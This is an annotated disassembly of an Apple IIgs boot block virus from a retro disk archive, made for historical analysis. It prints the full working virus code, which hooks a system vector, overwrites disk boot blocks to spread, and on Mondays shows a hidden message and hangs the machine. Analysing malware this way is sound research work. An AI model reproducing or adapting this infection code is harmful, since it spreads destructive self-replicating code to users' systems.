;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; Apple IIgs boot block virus disassembly. ; ; ; ; This was identified in https://retrocomputing.stackexchange.com/q/32009/56, ; ; in an archive called ody2001.shk (Odyssey 2001), on a disk called ; ; SPY.NETWORK. ; ; ; ; The code assumes it has been booted from a SmartPort device in slot 5. It ; ; will hook itself into the toolbox vector and try to infect devices found in ; ; slot 5. When certain conditions are met, e.g. the disk is being booted on a ; ; Monday, it will print a message on the super hi-res screen and lock up. ; ; ; ; The disassembly was created with 6502bench SourceGen v1.10. ; ; ; ; Last updated 2025/08/20 ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ReadBlock .eq $01 {const} ;SmartPort call WriteBlock .eq $02 {const} ;SmartPort call MMBootInit .eq $0102 {const} ;() QDStartUp .eq $0204 {const} ;(DirPg,MastSCB,MaxWid,MemID) GrafOn .eq $0a04 {const} ;() ClearScreen .eq $1504 {const} ;(Color) PenNormal .eq $3604 {const} ;() SetSolidPenPat .eq $3704 {const} ;(Color) MoveTo .eq $3a04 {const} ;(h,v) SetTextMode .eq $9c04 {const} ;(TextM) SetForeColor .eq $a004 {const} ;(Color) DrawString .eq $a504 {const} ;(@Str) MON_PWREDUP .eq $03f4 ;power-up RESET checksum NEWVIDEO .eq $c029 ;RW video select (SHR) CLOCKCTL .eq $c034 ;RW bits 0-3 = border color SmartPort5 .eq $c50d ;slot 5 smartport entry .addrs $0800 00/0800: 01 L0800 .dd1 $01 .rwid shortm,shortx 00/0801: 18 boot1 clc 00/0802: fb xce 00/0803: c2 30 rep #$30 .rwid longm,longx 00/0805: a2 fe 01 ldx #$01fe ;copy $800-9ff to $be00-bfff 00/0808: bd 00 08 @loop lda L0800,x 00/080b: 9d 00 be sta $be00,x 00/080e: ca dex 00/080f: 10 f7 bpl @loop 00/0811: 4c 1b be jmp init2 ; ; This code may be executed at either $00/BExx and $E1/BExx. It primarily lives ; in bank $E1, but will be copied back to back $00 to make SmartPort calls. The ; copy in $E1 is the "primary" copy, so variables are (usually) accessed there. ; .addrs $be14 00/be14: 03 rd_cmd_list .dd1 $03 ;parameter count 00/be15: 01 .dd1 $01 ;unit number 00/be16: 00 08 .dd2 $0800 ;data buffer = $0800 00/be18: 01 00 00 .dd3 $000001 ;block number = 1 00/be1b: 38 init2 sec 00/be1c: fb xce .rwid shortm,shortx 00/be1d: e2 30 sep #$30 00/be1f: 20 0d c5 jsr SmartPort5 ;read the standard boot block from block 1 00/be22: 01 .dd1 ReadBlock 00/be23: 14 be .dd2 rd_cmd_list 00/be25: 18 clc 00/be26: fb xce 00/be27: c2 30 rep #$30 .rwid longm,longx 00/be29: af 01 be e1 ldal $e1be01 ;are we already in memory? 00/be2d: c9 18 fb cmp #$fb18 00/be30: d0 09 bne install ;no, install 00/be32: af 8b 16 e1 ldal $e1168b ;check vector? 00/be36: c9 ff 5c cmp #$5cff 00/be39: d0 24 bne check_time ; 00/be3b: 8b install phb 00/be3c: a9 00 02 lda #$0200 00/be3f: a2 00 be ldx #$be00 ;copy $00/be00-bfff to $e1/be00-bfff 00/be42: 9b txy 00/be43: 54 e1 00 mvn #$00,#$e1 ;sets data bank register to $e1 .dbank $e1 00/be46: ad 88 16 lda $1688 ;save old address 00/be49: 8d 2a bf sta orig_vector 00/be4c: ad 8a 16 lda $168a 00/be4f: 8d 2c bf sta orig_vector+2 00/be52: a9 5c 86 lda #$865c ;store JML $e1be86 at $e1/1688 00/be55: 8d 88 16 sta $1688 00/be58: a9 be e1 lda #$e1be 00/be5b: 8d 8a 16 sta $168a 00/be5e: ab plb ;back to bank 0 ; .dbank $00 00/be5f: a9 fc f2 check_time lda #$f2fc ;ReadTimeHex ^ $ffff 00/be62: 48 pha 00/be63: 48 pha 00/be64: 48 pha 00/be65: 48 pha 00/be66: 49 ff ff eor #$ffff 00/be69: aa tax 00/be6a: 22 af 00 fe jsl $fe00af ;issue ReadTimeHex 00/be6e: 7a ply 00/be6f: 7a ply 00/be70: 7a ply 00/be71: 68 pla ;last word has weekday in high byte 00/be72: 29 00 0f and #$0f00 ;mask it 00/be75: c9 00 02 cmp #$0200 ;is weekDay = 2 (Monday)? 00/be78: d0 03 _branch bne boot2 ;no, bail out 00/be7a: 4c 2e bf jmp show_msg ;yes, do bad things 00/be7d: 38 boot2 sec 00/be7e: fb xce .rwid shortm,shortx 00/be7f: e2 30 sep #$30 00/be81: a2 50 ldx #$50 ;slot 5 00/be83: 4c 01 08 jmp $0801 ;do standard boot ; ; This is the toolbox call vector intercept code. ; .rwid longm,longx 00/be86: e0 02 01 intercept cpx #MMBootInit ;app startup? 00/be89: f0 03 beq do_stuff ;yes, try to infect floppy 00/be8b: 82 9c 00 brl orig_vector ;no, just resume normal processing 00/be8e: da do_stuff phx 00/be8f: 8b phb 00/be90: 0b phd 00/be91: 08 php 00/be92: a9 ff 01 lda #$01ff 00/be95: a2 00 be ldx #$be00 00/be98: 9b txy 00/be99: 54 00 e1 mvn #$e1,#$00 ;copy code back to bank 0 .dbank $00 00/be9c: 5c a7 be 00 jml try_infect ;execute it there ; 00/bea0: 03 rdwr_cmd_list .dd1 $03 ;parameter count 00/bea1: 01 .dd1 $01 ;unit number 00/bea2: 00 08 rdwr_addr .dd2 L0800 ;address 00/bea4: 00 00 00 rdwr_blocknum .dd3 $000000 ;block number ; This executes in bank 0. 00/bea7: a9 00 00 try_infect lda #$0000 00/beaa: 5b tcd 00/beab: 38 sec 00/beac: fb xce .rwid shortm,shortx 00/bead: e2 30 sep #$30 00/beaf: a9 08 lda #$08 ;addr = $800 00/beb1: 8d a3 be sta rdwr_addr+1 00/beb4: 9c a4 be stz rdwr_blocknum ;block = 0 00/beb7: 20 0d c5 jsr SmartPort5 ;read it (ignore errors) 00/beba: 01 .dd1 ReadBlock 00/bebb: a0 be .dd2 rdwr_cmd_list 00/bebd: a9 0a lda #$0a ;addr = $a00 00/bebf: 8d a3 be sta rdwr_addr+1 00/bec2: ee a4 be inc rdwr_blocknum ;block = 1 00/bec5: 20 0d c5 jsr SmartPort5 ;read it 00/bec8: 01 .dd1 ReadBlock 00/bec9: a0 be .dd2 rdwr_cmd_list 00/becb: af d6 bf e1 ldal shown_flag ;have we shown message today? 00/becf: f0 13 beq check_blocks ;no, go check disk blocks 00/bed1: 9c 34 c0 stz CLOCKCTL ;set border to black (and confuse clock?) 00/bed4: a9 c1 lda #$c1 00/bed6: 8d 29 c0 sta NEWVIDEO ;switch to super hi-res screen 00/bed9: af 37 5a e1 ldal $e15a37 ;check current screen contents 00/bedd: c9 f0 cmp #$f0 ;pixels will be $f0 after rendering message 00/bedf: d0 4d bne show_msg ;don't see it, go draw 00/bee1: 82 d2 00 brl finish ;might be showing already, just finish up 00/bee4: ad 01 08 check_blocks lda boot1 ;check start of block 0 code 00/bee7: 49 38 eor #$38 ;is this a standard boot ($38 = SEC)? 00/bee9: f0 10 beq replace_boot ;looks like it, replace it ; See if block 1 is empty. 00/beeb: a2 00 ldx #$00 00/beed: 8a txa 00/beee: 1d 00 0a @loop ora $0a00,x 00/bef1: 1d 00 0b ora $0b00,x 00/bef4: e8 inx 00/bef5: d0 f7 bne @loop 00/bef7: c9 00 cmp #$00 00/bef9: d0 27 bne bail ;there's stuff in block 1, don't overwrite ; ; Write our code to block 0, and the previous contents of block 0 to block 1. ; 00/befb: 18 replace_boot clc 00/befc: fb xce 00/befd: c2 30 rep #$30 .rwid longm,longx 00/beff: ee fe bf inc counter ;inc counter (not checked?) 00/bf02: 38 sec 00/bf03: fb xce .rwid shortm,shortx 00/bf04: e2 30 sep #$30 00/bf06: a9 be lda #$be ;addr = $be00 00/bf08: 8d a3 be sta rdwr_addr+1 00/bf0b: 9c a4 be stz rdwr_blocknum ;block = 0 00/bf0e: 20 0d c5 jsr SmartPort5 ;write block 00/bf11: 02 .dd1 WriteBlock 00/bf12: a0 be .dd2 rdwr_cmd_list 00/bf14: a9 08 lda #$08 ;addr = $800 (original boot block) 00/bf16: 8d a3 be sta rdwr_addr+1 00/bf19: ee a4 be inc rdwr_blocknum ;block = 1 00/bf1c: 20 0d c5 jsr SmartPort5 ;write block 00/bf1f: 02 .dd1 WriteBlock 00/bf20: a0 be .dd2 rdwr_cmd_list ; 00/bf22: 18 bail clc 00/bf23: fb xce 00/bf24: c2 30 rep #$30 .rwid longm,longx 00/bf26: 28 plp 00/bf27: 2b pld 00/bf28: ab plb 00/bf29: fa plx 00/bf2a: 5c 99 01 ff orig_vector jml $ff0199 ;overwritten with toolbox vector .rwid shortm,shortx 00/bf2e: 78 show_msg sei 00/bf2f: 4b phk ;should be zero .dbank $00 00/bf30: ab plb 00/bf31: 18 clc 00/bf32: fb xce 00/bf33: c2 30 rep #$30 .rwid longm,longx 00/bf35: 9c f4 03 stz MON_PWREDUP ;make reset reboot 00/bf38: f4 00 00 pea $0000 00/bf3b: f4 00 00 pea $0000 00/bf3e: f4 01 00 pea $0001 00/bf41: a2 04 02 ldx #QDStartUp 00/bf44: 22 af 00 fe jsl $fe00af ;make sure QuickDraw II is ready 00/bf48: a2 04 0a ldx #GrafOn 00/bf4b: 22 af 00 fe jsl $fe00af ;turn on SHR mode 00/bf4f: e2 20 sep #$20 .rwid shortm 00/bf51: 9c 34 c0 stz CLOCKCTL ;set border color to black (and confuse clock?) 00/bf54: c2 20 rep #$20 .rwid longm 00/bf56: f4 00 00 pea $0000 ;colorWord 00/bf59: a2 04 15 ldx #ClearScreen 00/bf5c: 22 af 00 fe jsl $fe00af ;clear screen to black 00/bf60: a2 04 36 ldx #PenNormal 00/bf63: 22 af 00 fe jsl $fe00af ;set pen to standard state 00/bf67: f4 03 00 pea $0003 ;colorNum 00/bf6a: a2 04 37 ldx #SetSolidPenPat 00/bf6d: 22 af 00 fe jsl $fe00af ;set pen color 00/bf71: f4 ff ff pea $ffff ;foreColor 00/bf74: a2 04 a0 ldx #SetForeColor 00/bf77: 22 af 00 fe jsl $fe00af ;set foreground color 00/bf7b: f4 04 00 pea $0004 ;textMode = modeForeCopy 00/bf7e: a2 04 9c ldx #SetTextMode 00/bf81: 22 af 00 fe jsl $fe00af ;set text mode 00/bf85: f4 29 00 pea 41 ;horiz 00/bf88: f4 64 00 pea 100 ;vert 00/bf8b: a2 04 3a ldx #MoveTo 00/bf8e: 22 af 00 fe jsl $fe00af ;set pen position ; Decrypt message. 00/bf92: a2 30 00 ldx #$0030 00/bf95: bd d8 bf @loop lda enc_msg,x 00/bf98: 49 fd 14 eor #$14fd 00/bf9b: 9d 00 20 sta $2000,x ;trample buffer here 00/bf9e: ca dex 00/bf9f: ca dex 00/bfa0: 10 f3 bpl @loop ; Print decrypted message. 00/bfa2: f4 00 00 pea $0000 ;address of temporary buffer 00/bfa5: f4 00 20 pea $2000 00/bfa8: a2 04 a5 ldx #DrawString 00/bfab: 22 af 00 fe jsl $fe00af ;draw string 00/bfaf: a9 ff ff lda #$ffff 00/bfb2: 8f d6 bf e1 stal shown_flag ;set flag? ; ; Finish up by replacing the boot block. We zero out the branch offset for the ; instruction at $be78, which will cause execution to continue to the next ; instruction regardless of whether the branch was taken. This means the disk ; will always try to show the message when booted. ; .rwid shortm,shortx 00/bfb6: 38 finish sec 00/bfb7: fb xce 00/bfb8: e2 30 sep #$30 00/bfba: 9c d6 bf stz $bfd6 ;clear flag, but only in bank 0 copy 00/bfbd: 9c d7 bf stz $bfd7 ; because we're about to write the block 00/bfc0: 9c 79 be stz _branch+1 ;zero branch offset 00/bfc3: ee f4 03 inc MON_PWREDUP ;ensure reset key reboots 00/bfc6: a9 be lda #$be ;addr = $be00 00/bfc8: 8d a3 be sta rdwr_addr+1 00/bfcb: 9c a4 be stz rdwr_blocknum ;block = 0 00/bfce: 20 0d c5 jsr SmartPort5 ;write boot block 00/bfd1: 02 .dd1 WriteBlock 00/bfd2: a0 be .dd2 rdwr_cmd_list 00/bfd4: 80 fe forever bra forever ;hang .addrs *+$e10000 e1/bfd6: 00 00 shown_flag .dd2 $0000 .adrend ↑ $e1bfd6 ; ; This is exclusive-ORed with $14fd to obscure it. When decoded, it's a Pascal ; string (length-prefixed) that reads: ; ; "SORRY DAVE... BUT I CAN'T DO THAT !!!" ; 00/bfd8: d8 47 b2 46+ enc_msg .bulk $d8,$47,$b2,$46,$af,$4d,$dd,$50 00/bfe0: bc 42 b8 3a+ .bulk $bc,$42,$b8,$3a,$d3,$3a,$dd,$56 00/bfe8: a8 40 dd 5d+ .bulk $a8,$40,$dd,$5d,$dd,$57,$bc,$5a 00/bff0: da 40 dd 50+ .bulk $da,$40,$dd,$50,$b2,$34,$a9,$5c 00/bff8: bc 40 dd 35+ .bulk $bc,$40,$dd,$35,$dc,$35 ; 00/bffe: 00 00 counter .dd2 $0000 .adrend ↑ $be14 .adrend ↑ $0800
No exported symbols found.